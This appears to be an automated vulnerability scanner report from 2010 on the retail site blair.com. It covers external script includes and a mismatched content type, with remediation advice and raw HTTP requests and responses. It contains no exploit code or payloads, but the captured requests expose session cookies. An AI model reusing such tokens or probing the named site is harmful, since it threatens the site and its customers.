</a> ...[SNIP]... <br><img src="//images.orchardbrands.com/blair/assets/images/img/leftnav_guides_01.gif" width="185" height="21" border="0"></div> ...[SNIP]... <a href="/custserv/custserv.jsp?pageName=womenssizechart"><img src="//images.orchardbrands.com/blair/assets/images/img/leftnav_guides_02.gif" width="185" height="21" border="0"></a> ...[SNIP]... <a href="/custserv/custserv.jsp?pageName=fabricguide"><img src="//images.orchardbrands.com/blair/assets/images/img/leftnav_guides_03.gif" width="185" height="21" border="0"></a> ...[SNIP]... <a href="/custserv/custserv.jsp?pageName=windowguide"><img src="//images.orchardbrands.com/blair/assets/images/img/leftnav_guides_04.gif" width="185" height="21" border="0"></a> ...[SNIP]... <a href="/custserv/custserv.jsp?pageName=beddingguide"><img src="//images.orchardbrands.com/blair/assets/images/img/leftnav_guides_05.gif" width="185" height="21" border="0"></a> ...[SNIP]... <a href="/custserv/custserv.jsp?pageName=styleguide"><img src="//images.orchardbrands.com/blair/assets/images/img/leftnav_guides_06.gif" width="185" height="21" border="0"></a> ...[SNIP]... <td><img src="//images.orchardbrands.com/blair/assets/images/img/pixel_blank2.gif" height="10" width="185"></td> <tr><td><a href="http://www.blair.com/catalog/product.jsp?productId=64"><img src="//images.orchardbrands.com/blair/assets/images/img/leftnav_giftcard_102209.gif" width="185" height="97" border="0" alt="Gift Card" /></a> ...[SNIP]... <td><img src="//images.orchardbrands.com/blair/assets/images/img/pixel_blank2.gif" height="10" width="185"></td> ...[SNIP]... <a id="addToCartButton" title="Click to add this item to your cart." href="#"> <img src="http://images.orchardbrands.com/blair/assets/images/btn/add_to_cart_off.gif" alt="Click to add this item to your cart."/> </a> ...[SNIP]... <a class="email-to-a-friend-button" href="/catalog/email_a_friend.jsp?productId=64"> <img title="Click to email information about this item to a friend." src="http://images.orchardbrands.com/blair/assets/images/btn/email_to_a_friend_off.gif" alt="Click to email information about this item to a friend."/> </a> ...[SNIP]... lick="var s=s_gi(s_account);s.linkTrackVars='eVar3';s.eVar3='Product Details Crossell';s.tl(this,'o','Product Details Crossell');" href="/product/Blair-Boutique-Mock-Turtleneck/1075.uts">
<img title="Click to view Blair Boutique® Mock Turtleneck." src="http://images.orchardbrands.com/blair/assets/product/customers/c696/P-1075/generated/P-1075_default_variant_84x84.jpg" alt="Click to view Blair Boutique® Mock Turtleneck."/>
</a> ...[SNIP]... var s=s_gi(s_account);s.linkTrackVars='eVar3';s.eVar3='Product Details Crossell';s.tl(this,'o','Product Details Crossell');" href="/ensemble/Mix-n-Match-Fleece-Coordinates/209.uts">
<img title="Click to view Mix-n-Match Fleece Coordinates." src="http://images.orchardbrands.com/blair/assets/product/customers/c696/E-209/generated/E-209_default_ensemble_84x84.jpg" alt="Click to view Mix-n-Match Fleece Coordinates."/>
<link href="http://images.orchardbrands.com/blair/css/screen.css" rel="stylesheet"/> <link href="http://images.orchardbrands.com/blair/css/print.css" rel="stylesheet" media="print"/> <title> ...[SNIP]... <li><a rel="nofollow" href="http://catalogs.shoplocal.com/blair">Online Catalog</a> ...[SNIP]... <a class="u-cart-hover" id="widget-but-ucart" title="Hover to preview your cart. Click to access your cart." href="http://www.blair.com/checkout/basket.jsp"> <img title="Hover to preview your cart. Click to access your cart." src="http://images.orchardbrands.com/blair/assets/images/btn/shopping_cart.gif" alt="Hover to preview your cart. Click to access your cart."/> </a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=2"><img alt="Womens" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_womens_off.gif" /></a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=1"> <img alt="Mens" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_mens_off.gif" /> </a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=3"> <img alt="For Your Home" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_home_off.gif" /> </a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=342"> <img alt="Pet" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_pet_off.gif" /> </a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=21"> <img alt="Jewelry" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_jewelry_off.gif" /> </a> ...[SNIP]... <a href="http://www.blair.com/catalog/section.jsp?categoryId=4"> <img alt="Clearance" class="tnav-link" src="//images.orchardbrands.com/blair/assets/images/img/nav_clearance_off.gif" /> </a> ...[SNIP]... </font> <img border="0" align="bottom" src="//images.orchardbrands.com/blair/assets/images/img/header_arrow.gif" alt="" /></font> ...[SNIP]... <a href="/custserv/custserv.jsp?pageName=CCMore"><img border="0" src="//images.orchardbrands.com/blair/assets/images/img/sidebanner_012609.gif" alt="" /></a> ...[SNIP]... <a href="/product/Plastic-Gift-Card/64.uts">
<img title="Click to go back to Plastic Gift Card." src="http://images.orchardbrands.com/blair/assets/product/customers/c696/P-64/generated/P-64_default_variant_84x84.jpg" alt="Click to go back to Plastic Gift Card."/>
<img title="Click to go back to Table Top Air Hockey Game." src="http://images.orchardbrands.com/blair/assets/product/customers/c696/P-9403/generated/P-9403_default_variant_84x84.jpg" alt="Click to go back to Table Top Air Hockey Game."/>
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /catalog/include_fluid_display.jsp?productId=9403&fldWidth=293px&fldHeight=512px&fldEntityType=P&fldDisplayType=ProductMain HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9; __utmz=108765265.1293371041.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=108765265.1944793956.1293371041.1293371041.1293371041.1; __utmc=108765265; __utmb=108765265.1.10.1293371041; foresee.analytics=%7B%22rr_domain%22%3A%22blair.com%22%2C%22rr_version%22%3A10.5%2C%22rr_group_id%22%3A%221293371041266_1330%22%7D; fsr.a=1293371041311
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Cache-Control: no-store Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1874 Content-Type: text/html;charset=ISO-8859-1 Date: Sun, 26 Dec 2010 13:44:15 GMT Connection: close
The response contains the following Content-type statement:
Content-Type: text/html;charset=ISO-8859-1
The response states that it contains HTML. However, it actually appears to contain script.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /js/jquery.jsp HTTP/1.1 Host: www.blair.com Proxy-Connection: keep-alive Referer: http://www.blair.com/catalog/product.jsp?productId=9403&mr:referralID=3638b26f-10f6-11e0-ad8e-001b2166c62d Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=EB8B060605BEABC30DE883C7300E9B2A; PIPELINE_SESSION_ID=22ec16e8ac110a674eb8176d98bbe9b9
Response
HTTP/1.1 200 OK Server: Apache Content-Type: text/html;charset=ISO-8859-1 Vary: Accept-Encoding Cache-Control: max-age=3422 Expires: Sun, 26 Dec 2010 14:41:16 GMT Date: Sun, 26 Dec 2010 13:44:14 GMT Connection: close Content-Length: 55749
/* * jQuery 1.2.6 - New Wave Javascript * * Copyright (c) 2008 John Resig (jquery.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * $Date: 2009/01/1 ...[SNIP]...
Report generated by XSS.CX at Mon Dec 27 10:39:37 CST 2010.